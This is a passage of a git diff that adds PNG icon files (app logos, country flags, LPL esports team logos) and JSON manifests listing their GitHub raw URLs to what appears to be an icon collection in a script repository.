"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1333.png" + }, + { + "name": "Sticker_1334", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1334.png" + }, + { + "name": "Sticker_1335", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1335.png" + } + ] +} \ No newline at end of file diff --git a/icons/lige47/ChatGPT-green.png b/icons/lige47/ChatGPT-green.png new file mode 100644 index 00000000..74746b22 Binary files /dev/null and b/icons/lige47/ChatGPT-green.png differ diff --git a/icons/lige47/ChatGPT.png b/icons/lige47/ChatGPT.png new file mode 100644 index 00000000..742ffde9 Binary files /dev/null and b/icons/lige47/ChatGPT.png differ diff --git a/icons/lige47/Googlevoice(black1).png b/icons/lige47/Googlevoice(black1).png new file mode 100644 index 00000000..c001a59b Binary files /dev/null and b/icons/lige47/Googlevoice(black1).png differ diff --git a/icons/lige47/Googlevoice.png b/icons/lige47/Googlevoice.png new file mode 100644 index 00000000..57b3383c Binary files /dev/null and b/icons/lige47/Googlevoice.png differ diff --git a/icons/lige47/HBO.png b/icons/lige47/HBO.png new file mode 100644 index 00000000..a8492744 Binary files /dev/null and b/icons/lige47/HBO.png differ diff --git a/icons/lige47/Hongkong(1).png b/icons/lige47/Hongkong(1).png new file mode 100644 index 00000000..a659aa35 Binary files /dev/null and b/icons/lige47/Hongkong(1).png differ diff --git a/icons/lige47/Hongkong.png b/icons/lige47/Hongkong.png new file mode 100644 index 00000000..05f8213a Binary files /dev/null and b/icons/lige47/Hongkong.png differ diff --git a/icons/lige47/Japan.png b/icons/lige47/Japan.png new file mode 100644 index 00000000..0f98c3fa Binary files /dev/null and b/icons/lige47/Japan.png differ diff --git a/icons/lige47/Korea.png b/icons/lige47/Korea.png new file mode 100644 index 00000000..0b683a97 Binary files /dev/null and b/icons/lige47/Korea.png differ diff --git a/icons/lige47/OneDrive.png b/icons/lige47/OneDrive.png new file mode 100644 index 00000000..47423561 Binary files /dev/null and b/icons/lige47/OneDrive.png differ diff --git a/icons/lige47/US(1).png b/icons/lige47/US(1).png new file mode 100644 index 00000000..92db11ed Binary files /dev/null and b/icons/lige47/US(1).png differ diff --git a/icons/lige47/US.png b/icons/lige47/US.png new file mode 100644 index 00000000..33b9df70 Binary files /dev/null and b/icons/lige47/US.png differ diff --git a/icons/lige47/Youtube.png b/icons/lige47/Youtube.png new file mode 100644 index 00000000..ccfb1b06 Binary files /dev/null and b/icons/lige47/Youtube.png differ diff --git a/icons/lige47/ad(2).png b/icons/lige47/ad(2).png new file mode 100644 index 00000000..8c474c06 Binary files /dev/null and b/icons/lige47/ad(2).png differ diff --git a/icons/lige47/ad(3).png b/icons/lige47/ad(3).png new file mode 100644 index 00000000..63dca2b5 Binary files /dev/null and b/icons/lige47/ad(3).png differ diff --git a/icons/lige47/ad(4).png b/icons/lige47/ad(4).png new file mode 100644 index 00000000..e629f6d3 Binary files /dev/null and b/icons/lige47/ad(4).png differ diff --git a/icons/lige47/ad(5).png b/icons/lige47/ad(5).png new file mode 100644 index 00000000..c8ecf35a Binary files /dev/null and b/icons/lige47/ad(5).png differ diff --git a/icons/lige47/ad(6).png b/icons/lige47/ad(6).png new file mode 100644 index 00000000..899bedd5 Binary files /dev/null and b/icons/lige47/ad(6).png differ diff --git a/icons/lige47/ad(7).png b/icons/lige47/ad(7).png new file mode 100644 index 00000000..2c302a82 Binary files /dev/null and b/icons/lige47/ad(7).png differ diff --git a/icons/lige47/ad.png b/icons/lige47/ad.png new file mode 100644 index 00000000..54d5495a Binary files /dev/null and b/icons/lige47/ad.png differ diff --git a/icons/lige47/apple(1).png b/icons/lige47/apple(1).png new file mode 100644 index 00000000..45f64f8d Binary files /dev/null and b/icons/lige47/apple(1).png differ diff --git a/icons/lige47/apple.png b/icons/lige47/apple.png new file mode 100644 index 00000000..53572669 Binary files /dev/null and b/icons/lige47/apple.png differ diff --git a/icons/lige47/bilibili(1).png b/icons/lige47/bilibili(1).png new file mode 100644 index 00000000..7b0a4398 Binary files /dev/null and b/icons/lige47/bilibili(1).png differ diff --git a/icons/lige47/bilibili(2).png b/icons/lige47/bilibili(2).png new file mode 100644 index 00000000..6a657d78 Binary files /dev/null and b/icons/lige47/bilibili(2).png differ diff --git a/icons/lige47/bilibili(3).png b/icons/lige47/bilibili(3).png new file mode 100644 index 00000000..79391c22 Binary files /dev/null and b/icons/lige47/bilibili(3).png differ diff --git a/icons/lige47/bilibili(4).png b/icons/lige47/bilibili(4).png new file mode 100644 index 00000000..e1e31c6a Binary files /dev/null and b/icons/lige47/bilibili(4).png differ diff --git a/icons/lige47/bing(1).png b/icons/lige47/bing(1).png new file mode 100644 index 00000000..4277a1f1 Binary files /dev/null and b/icons/lige47/bing(1).png differ diff --git a/icons/lige47/bing(2).png b/icons/lige47/bing(2).png new file mode 100644 index 00000000..9f6deb6c Binary files /dev/null and b/icons/lige47/bing(2).png differ diff --git a/icons/lige47/bing(3).png b/icons/lige47/bing(3).png new file mode 100644 index 00000000..55c36eb0 Binary files /dev/null and b/icons/lige47/bing(3).png differ diff --git a/icons/lige47/bing.png b/icons/lige47/bing.png new file mode 100644 index 00000000..568b660f Binary files /dev/null and b/icons/lige47/bing.png differ diff --git a/icons/lige47/blacklist(1).png b/icons/lige47/blacklist(1).png new file mode 100644 index 00000000..33ff0426 Binary files /dev/null and b/icons/lige47/blacklist(1).png differ diff --git a/icons/lige47/blacklist.png b/icons/lige47/blacklist.png new file mode 100644 index 00000000..cf4d7d48 Binary files /dev/null and b/icons/lige47/blacklist.png differ diff --git a/icons/lige47/chaxun(2).png b/icons/lige47/chaxun(2).png new file mode 100644 index 00000000..365f1f3b Binary files /dev/null and b/icons/lige47/chaxun(2).png differ diff --git a/icons/lige47/chaxun(3).png b/icons/lige47/chaxun(3).png new file mode 100644 index 00000000..7ff5a0f7 Binary files /dev/null and b/icons/lige47/chaxun(3).png differ diff --git a/icons/lige47/chaxun.png b/icons/lige47/chaxun.png new file mode 100644 index 00000000..bf971edf Binary files /dev/null and b/icons/lige47/chaxun.png differ diff --git a/icons/lige47/direct(1).png b/icons/lige47/direct(1).png new file mode 100644 index 00000000..7e20cda5 Binary files /dev/null and b/icons/lige47/direct(1).png differ diff --git a/icons/lige47/direct.png b/icons/lige47/direct.png new file mode 100644 index 00000000..6e46b6bc Binary files /dev/null and b/icons/lige47/direct.png differ diff --git a/icons/lige47/disney(black).png b/icons/lige47/disney(black).png new file mode 100644 index 00000000..d60cb903 Binary files /dev/null and b/icons/lige47/disney(black).png differ diff --git a/icons/lige47/disney(blue).png b/icons/lige47/disney(blue).png new file mode 100644 index 00000000..106138dc Binary files /dev/null and b/icons/lige47/disney(blue).png differ diff --git a/icons/lige47/emby(1).png b/icons/lige47/emby(1).png new file mode 100644 index 00000000..c88a5e9c Binary files /dev/null and b/icons/lige47/emby(1).png differ diff --git a/icons/lige47/emby.png b/icons/lige47/emby.png new file mode 100644 index 00000000..59fed5ad Binary files /dev/null and b/icons/lige47/emby.png differ diff --git a/icons/lige47/facebook(1).png b/icons/lige47/facebook(1).png new file mode 100644 index 00000000..3f53730b Binary files /dev/null and b/icons/lige47/facebook(1).png differ diff --git a/icons/lige47/facebook(2).png b/icons/lige47/facebook(2).png new file mode 100644 index 00000000..d46019f2 Binary files /dev/null and b/icons/lige47/facebook(2).png differ diff --git a/icons/lige47/facebook.png b/icons/lige47/facebook.png new file mode 100644 index 00000000..d47390e1 Binary files /dev/null and b/icons/lige47/facebook.png differ diff --git a/icons/lige47/game(1).png b/icons/lige47/game(1).png new file mode 100644 index 00000000..3f2d4ad7 Binary files /dev/null and b/icons/lige47/game(1).png differ diff --git a/icons/lige47/game.png b/icons/lige47/game.png new file mode 100644 index 00000000..31f289bc Binary files /dev/null and b/icons/lige47/game.png differ diff --git a/icons/lige47/google(1).png b/icons/lige47/google(1).png new file mode 100644 index 00000000..a20a417f Binary files /dev/null and b/icons/lige47/google(1).png differ diff --git a/icons/lige47/google.png b/icons/lige47/google.png new file mode 100644 index 00000000..b89ac041 Binary files /dev/null and b/icons/lige47/google.png differ diff --git a/icons/lige47/instagram(1).png b/icons/lige47/instagram(1).png new file mode 100644 index 00000000..70f41b1b Binary files /dev/null and b/icons/lige47/instagram(1).png differ diff --git a/icons/lige47/instagram(2).png b/icons/lige47/instagram(2).png new file mode 100644 index 00000000..308eaf4c Binary files /dev/null and b/icons/lige47/instagram(2).png differ diff --git a/icons/lige47/instagram.png b/icons/lige47/instagram.png new file mode 100644 index 00000000..417123d5 Binary files /dev/null and b/icons/lige47/instagram.png differ diff --git a/icons/lige47/ip.png b/icons/lige47/ip.png new file mode 100644 index 00000000..8f8ee456 Binary files /dev/null and b/icons/lige47/ip.png differ diff --git a/icons/lige47/lightning(1).png b/icons/lige47/lightning(1).png new file mode 100644 index 00000000..019d3298 Binary files /dev/null and b/icons/lige47/lightning(1).png differ diff --git a/icons/lige47/lightning(2).png b/icons/lige47/lightning(2).png new file mode 100644 index 00000000..a9981f08 Binary files /dev/null and b/icons/lige47/lightning(2).png differ diff --git a/icons/lige47/lightning.png b/icons/lige47/lightning.png new file mode 100644 index 00000000..bcc28939 Binary files /dev/null and b/icons/lige47/lightning.png differ diff --git a/icons/lige47/liuliang(1).png b/icons/lige47/liuliang(1).png new file mode 100644 index 00000000..a061cad8 Binary files /dev/null and b/icons/lige47/liuliang(1).png differ diff --git a/icons/lige47/liuliang(2).png b/icons/lige47/liuliang(2).png new file mode 100644 index 00000000..0b5bafd5 Binary files /dev/null and b/icons/lige47/liuliang(2).png differ diff --git a/icons/lige47/liuliang(3).png b/icons/lige47/liuliang(3).png new file mode 100644 index 00000000..35b608ba Binary files /dev/null and b/icons/lige47/liuliang(3).png differ diff --git a/icons/lige47/liuliang(4).png b/icons/lige47/liuliang(4).png new file mode 100644 index 00000000..6dce0f7c Binary files /dev/null and b/icons/lige47/liuliang(4).png differ diff --git a/icons/lige47/liuliang(5).png b/icons/lige47/liuliang(5).png new file mode 100644 index 00000000..412c8b9d Binary files /dev/null and b/icons/lige47/liuliang(5).png differ diff --git a/icons/lige47/liuliang.png b/icons/lige47/liuliang.png new file mode 100644 index 00000000..99d51c45 Binary files /dev/null and b/icons/lige47/liuliang.png differ diff --git a/icons/lige47/mail(1).png b/icons/lige47/mail(1).png new file mode 100644 index 00000000..354a7d75 Binary files /dev/null and b/icons/lige47/mail(1).png differ diff --git a/icons/lige47/mail(2).png b/icons/lige47/mail(2).png new file mode 100644 index 00000000..5b514e2a Binary files /dev/null and b/icons/lige47/mail(2).png differ diff --git a/icons/lige47/mail(3).png b/icons/lige47/mail(3).png new file mode 100644 index 00000000..596852f5 Binary files /dev/null and b/icons/lige47/mail(3).png differ diff --git a/icons/lige47/mail.png b/icons/lige47/mail.png new file mode 100644 index 00000000..025ee7f5 Binary files /dev/null and b/icons/lige47/mail.png differ diff --git a/icons/lige47/microsoft(1).png b/icons/lige47/microsoft(1).png new file mode 100644 index 00000000..ae7f9615 Binary files /dev/null and b/icons/lige47/microsoft(1).png differ diff --git a/icons/lige47/microsoft(2).png b/icons/lige47/microsoft(2).png new file mode 100644 index 00000000..4bcd573a Binary files /dev/null and b/icons/lige47/microsoft(2).png differ diff --git a/icons/lige47/microsoft.png b/icons/lige47/microsoft.png new file mode 100644 index 00000000..bceba533 Binary files /dev/null and b/icons/lige47/microsoft.png differ diff --git a/icons/lige47/netflix(old).png b/icons/lige47/netflix(old).png new file mode 100644 index 00000000..8299b653 Binary files /dev/null and b/icons/lige47/netflix(old).png differ diff --git a/icons/lige47/netflix(red).png b/icons/lige47/netflix(red).png new file mode 100644 index 00000000..c4ffc908 Binary files /dev/null and b/icons/lige47/netflix(red).png differ diff --git a/icons/lige47/netflix.png b/icons/lige47/netflix.png new file mode 100644 index 00000000..f5cfe8df Binary files /dev/null and b/icons/lige47/netflix.png differ diff --git a/icons/lige47/paypal(1).png b/icons/lige47/paypal(1).png new file mode 100644 index 00000000..68d1513a Binary files /dev/null and b/icons/lige47/paypal(1).png differ diff --git a/icons/lige47/paypal.png b/icons/lige47/paypal.png new file mode 100644 index 00000000..79ca6301 Binary files /dev/null and b/icons/lige47/paypal.png differ diff --git a/icons/lige47/play(1).png b/icons/lige47/play(1).png new file mode 100644 index 00000000..a78071a4 Binary files /dev/null and b/icons/lige47/play(1).png differ diff --git a/icons/lige47/play(2).png b/icons/lige47/play(2).png new file mode 100644 index 00000000..cabb5e2c Binary files /dev/null and b/icons/lige47/play(2).png differ diff --git a/icons/lige47/play.png b/icons/lige47/play.png new file mode 100644 index 00000000..81847561 Binary files /dev/null and b/icons/lige47/play.png differ diff --git a/icons/lige47/quanqiu(1).png b/icons/lige47/quanqiu(1).png new file mode 100644 index 00000000..9a3d8333 Binary files /dev/null and b/icons/lige47/quanqiu(1).png differ diff --git a/icons/lige47/quanqiu(2).png b/icons/lige47/quanqiu(2).png new file mode 100644 index 00000000..e85fc8b1 Binary files /dev/null and b/icons/lige47/quanqiu(2).png differ diff --git a/icons/lige47/quanqiu(3).png b/icons/lige47/quanqiu(3).png new file mode 100644 index 00000000..e812f031 Binary files /dev/null and b/icons/lige47/quanqiu(3).png differ diff --git a/icons/lige47/quanqiu.png b/icons/lige47/quanqiu.png new file mode 100644 index 00000000..acb4d62a Binary files /dev/null and b/icons/lige47/quanqiu.png differ diff --git a/icons/lige47/rocket(1).png b/icons/lige47/rocket(1).png new file mode 100644 index 00000000..c8cf3155 Binary files /dev/null and b/icons/lige47/rocket(1).png differ diff --git a/icons/lige47/rocket(2).png b/icons/lige47/rocket(2).png new file mode 100644 index 00000000..1dc90a2a Binary files /dev/null and b/icons/lige47/rocket(2).png differ diff --git a/icons/lige47/rocket(3).png b/icons/lige47/rocket(3).png new file mode 100644 index 00000000..340143a0 Binary files /dev/null and b/icons/lige47/rocket(3).png differ diff --git a/icons/lige47/rocket.png b/icons/lige47/rocket.png new file mode 100644 index 00000000..c17d1c0b Binary files /dev/null and b/icons/lige47/rocket.png differ diff --git a/icons/lige47/shutiao.png b/icons/lige47/shutiao.png new file mode 100644 index 00000000..6fa5c37e Binary files /dev/null and b/icons/lige47/shutiao.png differ diff --git a/icons/lige47/singapore(1).png b/icons/lige47/singapore(1).png new file mode 100644 index 00000000..9759a51d Binary files /dev/null and b/icons/lige47/singapore(1).png differ diff --git a/icons/lige47/singapore(2).png b/icons/lige47/singapore(2).png new file mode 100644 index 00000000..063ae39a Binary files /dev/null and b/icons/lige47/singapore(2).png differ diff --git a/icons/lige47/social-paypal.png b/icons/lige47/social-paypal.png new file mode 100644 index 00000000..a2d1d933 Binary files /dev/null and b/icons/lige47/social-paypal.png differ diff --git a/icons/lige47/speedtest.png b/icons/lige47/speedtest.png new file mode 100644 index 00000000..0913ec5e Binary files /dev/null and b/icons/lige47/speedtest.png differ diff --git a/icons/lige47/spotify(green).png b/icons/lige47/spotify(green).png new file mode 100644 index 00000000..98b1f024 Binary files /dev/null and b/icons/lige47/spotify(green).png differ diff --git a/icons/lige47/spotify.png b/icons/lige47/spotify.png new file mode 100644 index 00000000..fe2520a5 Binary files /dev/null and b/icons/lige47/spotify.png differ diff --git a/icons/lige47/steam(1).png b/icons/lige47/steam(1).png new file mode 100644 index 00000000..efc0df89 Binary files /dev/null and b/icons/lige47/steam(1).png differ diff --git a/icons/lige47/steam.png b/icons/lige47/steam.png new file mode 100644 index 00000000..8978a4c5 Binary files /dev/null and b/icons/lige47/steam.png differ diff --git a/icons/lige47/taiwan(1).png b/icons/lige47/taiwan(1).png new file mode 100644 index 00000000..3095307e Binary files /dev/null and b/icons/lige47/taiwan(1).png differ diff --git a/icons/lige47/taiwan(2).png b/icons/lige47/taiwan(2).png new file mode 100644 index 00000000..514c2f00 Binary files /dev/null and b/icons/lige47/taiwan(2).png differ diff --git a/icons/lige47/taiwan.png b/icons/lige47/taiwan.png new file mode 100644 index 00000000..4f6f6fc4 Binary files /dev/null and b/icons/lige47/taiwan.png differ diff --git a/icons/lige47/telegram(1).png b/icons/lige47/telegram(1).png new file mode 100644 index 00000000..632dc2cc Binary files /dev/null and b/icons/lige47/telegram(1).png differ diff --git a/icons/lige47/telegram(blue1).png b/icons/lige47/telegram(blue1).png new file mode 100644 index 00000000..906a5cd1 Binary files /dev/null and b/icons/lige47/telegram(blue1).png differ diff --git a/icons/lige47/telegram.png b/icons/lige47/telegram.png new file mode 100644 index 00000000..d61f4363 Binary files /dev/null and b/icons/lige47/telegram.png differ diff --git a/icons/lige47/tiktok((2).png b/icons/lige47/tiktok((2).png new file mode 100644 index 00000000..c520299e Binary files /dev/null and b/icons/lige47/tiktok((2).png differ diff --git a/icons/lige47/tiktok(1).png b/icons/lige47/tiktok(1).png new file mode 100644 index 00000000..832d8e66 Binary files /dev/null and b/icons/lige47/tiktok(1).png differ diff --git a/icons/lige47/tiktok.png b/icons/lige47/tiktok.png new file mode 100644 index 00000000..aa39dd83 Binary files /dev/null and b/icons/lige47/tiktok.png differ diff --git a/icons/lige47/twitter(1).png b/icons/lige47/twitter(1).png new file mode 100644 index 00000000..c07c67ec Binary files /dev/null and b/icons/lige47/twitter(1).png differ diff --git a/icons/lige47/twitter.png b/icons/lige47/twitter.png new file mode 100644 index 00000000..60175945 Binary files /dev/null and b/icons/lige47/twitter.png differ diff --git a/icons/lige47/weibo.png b/icons/lige47/weibo.png new file mode 100644 index 00000000..ce18da7d Binary files /dev/null and b/icons/lige47/weibo.png differ diff --git a/icons/lige47/weibo_01.png b/icons/lige47/weibo_01.png new file mode 100644 index 00000000..eec98fd0 Binary files /dev/null and b/icons/lige47/weibo_01.png differ diff --git a/icons/lige47/whatsapp(2).png b/icons/lige47/whatsapp(2).png new file mode 100644 index 00000000..ecce0183 Binary files /dev/null and b/icons/lige47/whatsapp(2).png differ diff --git a/icons/lige47/whatsapp.png b/icons/lige47/whatsapp.png new file mode 100644 index 00000000..8781b94c Binary files /dev/null and b/icons/lige47/whatsapp.png differ diff --git a/icons/lige47/whatsapp_01.png b/icons/lige47/whatsapp_01.png new file mode 100644 index 00000000..72c33f18 Binary files /dev/null and b/icons/lige47/whatsapp_01.png differ diff --git a/icons/lige47/youtube(1).png b/icons/lige47/youtube(1).png new file mode 100644 index 00000000..ec24f5f9 Binary files /dev/null and b/icons/lige47/youtube(1).png differ diff --git a/icons/lige47/youtube(2).png b/icons/lige47/youtube(2).png new file mode 100644 index 00000000..ae9f21e1 Binary files /dev/null and b/icons/lige47/youtube(2).png differ diff --git a/icons/lige47/youtube(3).png b/icons/lige47/youtube(3).png new file mode 100644 index 00000000..5cab0d99 Binary files /dev/null and b/icons/lige47/youtube(3).png differ diff --git a/icons/lige47/zl-icon-jp-flag.png b/icons/lige47/zl-icon-jp-flag.png new file mode 100644 index 00000000..e07847c6 Binary files /dev/null and b/icons/lige47/zl-icon-jp-flag.png differ diff --git a/icons/lpl/144px.json b/icons/lpl/144px.json new file mode 100644 index 00000000..e5adba0a --- /dev/null +++ b/icons/lpl/144px.json @@ -0,0 +1,74 @@ +{ + "name": "LPL teams icon", + "description": "create by fmz200", + "icons": [ + { + "name": "EDG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/EDG.png" + }, + { + "name": "TT", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/TT.png" + }, + { + "name": "UP", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/UP.png" + }, + { + "name": "OMG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/OMG.png" + }, + { + "name": "LGD", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/LGD.png" + }, + { + "name": "RA", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/RA.png" + }, + { + "name": "IG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/IG.png" + }, + { + "name": "RNG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/RNG.png" + }, + { + "name": "JDG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/JDG.png" + }, + { + "name": "FPX", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/FPX.png" + }, + { + "name": "AL", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/AL.png" + }, + { + "name": "BLG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/BLG.png" + }, + { + "name": "TES", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/TES.png" + }, + { + "name": "WBG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/WBG.png" + }, + { + "name": "WE", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/WE.png" + }, + { + "name": "V5", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/V5.png" + }, + { + "name": "LNG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/LNG.png" + } + ] +} \ No newline at end of file diff --git a/icons/lpl/144px/AL.png b/icons/lpl/144px/AL.png new file mode 100644 index 00000000..1e81dcaf Binary files /dev/null and b/icons/lpl/144px/AL.png differ diff --git a/icons/lpl/144px/BLG.png b/icons/lpl/144px/BLG.png new file mode 100644 index 00000000..383a2c34 Binary files /dev/null and b/icons/lpl/144px/BLG.png differ diff --git a/icons/lpl/144px/EDG.png b/icons/lpl/144px/EDG.png new file mode 100644 index 00000000..24c16525 Binary files /dev/null and b/icons/lpl/144px/EDG.png differ diff --git a/icons/lpl/144px/FPX.png b/icons/lpl/144px/FPX.png new file mode 100644 index 00000000..49d2d1e8 Binary files /dev/null and b/icons/lpl/144px/FPX.png differ diff --git a/icons/lpl/144px/IG.png b/icons/lpl/144px/IG.png new file mode 100644 index 00000000..90ca1425 Binary files /dev/null and b/icons/lpl/144px/IG.png differ diff --git a/icons/lpl/144px/JDG.png b/icons/lpl/144px/JDG.png new file mode 100644 index 00000000..e27a16c0 Binary files /dev/null and b/icons/lpl/144px/JDG.png differ diff --git a/icons/lpl/144px/LGD.png b/icons/lpl/144px/LGD.png new file mode 100644 index 00000000..9cc012d5 Binary files /dev/null and b/icons/lpl/144px/LGD.png differ diff --git a/icons/lpl/144px/LNG.png b/icons/lpl/144px/LNG.png new file mode 100644 index 00000000..6fc8da9d Binary files /dev/null and b/icons/lpl/144px/LNG.png differ diff --git a/icons/lpl/144px/OMG.png b/icons/lpl/144px/OMG.png new file mode 100644 index 00000000..895b1f9b Binary files /dev/null and b/icons/lpl/144px/OMG.png differ diff --git a/icons/lpl/144px/Overview.png b/icons/lpl/144px/Overview.png new file mode 100644 index 00000000..2e08f42f Binary files /dev/null and b/icons/lpl/144px/Overview.png differ diff --git a/icons/lpl/144px/RA.png b/icons/lpl/144px/RA.png new file mode 100644 index 00000000..b0e064d5 Binary files /dev/null and b/icons/lpl/144px/RA.png differ diff --git a/icons/lpl/144px/RNG.png b/icons/lpl/144px/RNG.png new file mode 100644 index 00000000..06fad556 Binary files /dev/null and b/icons/lpl/144px/RNG.png differ diff --git a/icons/lpl/144px/TES.png b/icons/lpl/144px/TES.png new file mode 100644 index 00000000..3c0d4e2c Binary files /dev/null and b/icons/lpl/144px/TES.png differ diff --git a/icons/lpl/144px/TT.png b/icons/lpl/144px/TT.png new file mode 100644 index 00000000..59259f12 Binary files /dev/null and b/icons/lpl/144px/TT.png differ diff --git a/icons/lpl/144px/UP.png b/icons/lpl/144px/UP.png new file mode 100644 index 00000000..e345b899 Binary files /dev/null and b/icons/lpl/144px/UP.png differ diff --git a/icons/lpl/144px/V5.png b/icons/lpl/144px/V5.png new file mode 100644 index 00000000..ac53cf67 Binary files /dev/null and b/icons/lpl/144px/V5.png differ diff --git a/icons/lpl/144px/WBG.png b/icons/lpl/144px/WBG.png new file mode 100644 index 00000000..7d66c146 Binary files /dev/null and b/icons/lpl/144px/WBG.png differ diff --git a/icons/lpl/144px/WE.png b/icons/lpl/144px/WE.png new file mode 100644 index 00000000..99422461 Binary files /dev/null and b/icons/lpl/144px/WE.png differ diff --git a/icons/lpl/200px.json b/icons/lpl/200px.json new file mode 100644 index 00000000..0f2de7cc --- /dev/null +++ b/icons/lpl/200px.json @@ -0,0 +1,74 @@ +{ + "name": "LPL teams icon", + "description": "create by fmz200", + "icons": [ + { + "name": "EDG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/EDG.png" + }, + { + "name": "TT", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/TT.png" + }, + { + "name": "UP", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/UP.png" + }, + { + "name": "OMG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/OMG.png" + }, + { + "name": "LGD", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/LGD.png" + }, + { + "name": "RA", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/RA.png" + }, + { + "name": "IG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/IG.png" + }, + { + "name": "RNG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/RNG.png" + }, + { + "name": "JDG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/JDG.png" + }, + { + "name": "FPX", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/FPX.png" + }, + { + "name": "AL", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/AL.png" + }, + { + "name": "BLG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/BLG.png" + }, + { + "name": "TES", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/TES.png" + }, + { + "name": "WBG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/WBG.png" + }, + { + "name": "WE", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/WE.png" + }, + { + "name": "V5", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/V5.png" + }, + { + "name": "LNG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/200px/LNG.png" + } + ] +} \ No newline at end of file diff --git a/icons/lpl/200px/100.png b/icons/lpl/200px/100.png new file mode 100644 index 00000000..265512d0 Binary files /dev/null and b/icons/lpl/200px/100.png differ diff --git a/icons/lpl/200px/AL.png b/icons/lpl/200px/AL.png new file mode 100644 index 00000000..9e6ecf2d Binary files /dev/null and b/icons/lpl/200px/AL.png differ diff --git a/icons/lpl/200px/BLG.png b/icons/lpl/200px/BLG.png new file mode 100644 index 00000000..669958cb Binary files /dev/null and b/icons/lpl/200px/BLG.png differ diff --git a/icons/lpl/200px/C9.png b/icons/lpl/200px/C9.png new file mode 100644 index 00000000..2b054117 Binary files /dev/null and b/icons/lpl/200px/C9.png differ diff --git a/icons/lpl/200px/CFO.png b/icons/lpl/200px/CFO.png new file mode 100644 index 00000000..0cebf962 Binary files /dev/null and b/icons/lpl/200px/CFO.png differ diff --git a/icons/lpl/200px/DK.png b/icons/lpl/200px/DK.png new file mode 100644 index 00000000..ec5c7b26 Binary files /dev/null and b/icons/lpl/200px/DK.png differ diff --git a/icons/lpl/200px/DRX.png b/icons/lpl/200px/DRX.png new file mode 100644 index 00000000..7ef385ab Binary files /dev/null and b/icons/lpl/200px/DRX.png differ diff --git a/icons/lpl/200px/EDG.png b/icons/lpl/200px/EDG.png new file mode 100644 index 00000000..a5d8bb94 Binary files /dev/null and b/icons/lpl/200px/EDG.png differ diff --git a/icons/lpl/200px/EG.png b/icons/lpl/200px/EG.png new file mode 100644 index 00000000..c84f4730 Binary files /dev/null and b/icons/lpl/200px/EG.png differ diff --git a/icons/lpl/200px/FNC.png b/icons/lpl/200px/FNC.png new file mode 100644 index 00000000..69c609ff Binary files /dev/null and b/icons/lpl/200px/FNC.png differ diff --git a/icons/lpl/200px/FPX.png b/icons/lpl/200px/FPX.png new file mode 100644 index 00000000..53a41a01 Binary files /dev/null and b/icons/lpl/200px/FPX.png differ diff --git a/icons/lpl/200px/G2.png b/icons/lpl/200px/G2.png new file mode 100644 index 00000000..9cb06ecd Binary files /dev/null and b/icons/lpl/200px/G2.png differ diff --git a/icons/lpl/200px/GAM.png b/icons/lpl/200px/GAM.png new file mode 100644 index 00000000..8c1eda4f Binary files /dev/null and b/icons/lpl/200px/GAM.png differ diff --git a/icons/lpl/200px/GEN.png b/icons/lpl/200px/GEN.png new file mode 100644 index 00000000..689f5755 Binary files /dev/null and b/icons/lpl/200px/GEN.png differ diff --git a/icons/lpl/200px/IG.png b/icons/lpl/200px/IG.png new file mode 100644 index 00000000..12271b82 Binary files /dev/null and b/icons/lpl/200px/IG.png differ diff --git a/icons/lpl/200px/JDG.png b/icons/lpl/200px/JDG.png new file mode 100644 index 00000000..23d48135 Binary files /dev/null and b/icons/lpl/200px/JDG.png differ diff --git a/icons/lpl/200px/LGD.png b/icons/lpl/200px/LGD.png new file mode 100644 index 00000000..9249a0f7 Binary files /dev/null and b/icons/lpl/200px/LGD.png differ diff --git a/icons/lpl/200px/LNG.png b/icons/lpl/200px/LNG.png new file mode 100644 index 00000000..721558e3 Binary files /dev/null and 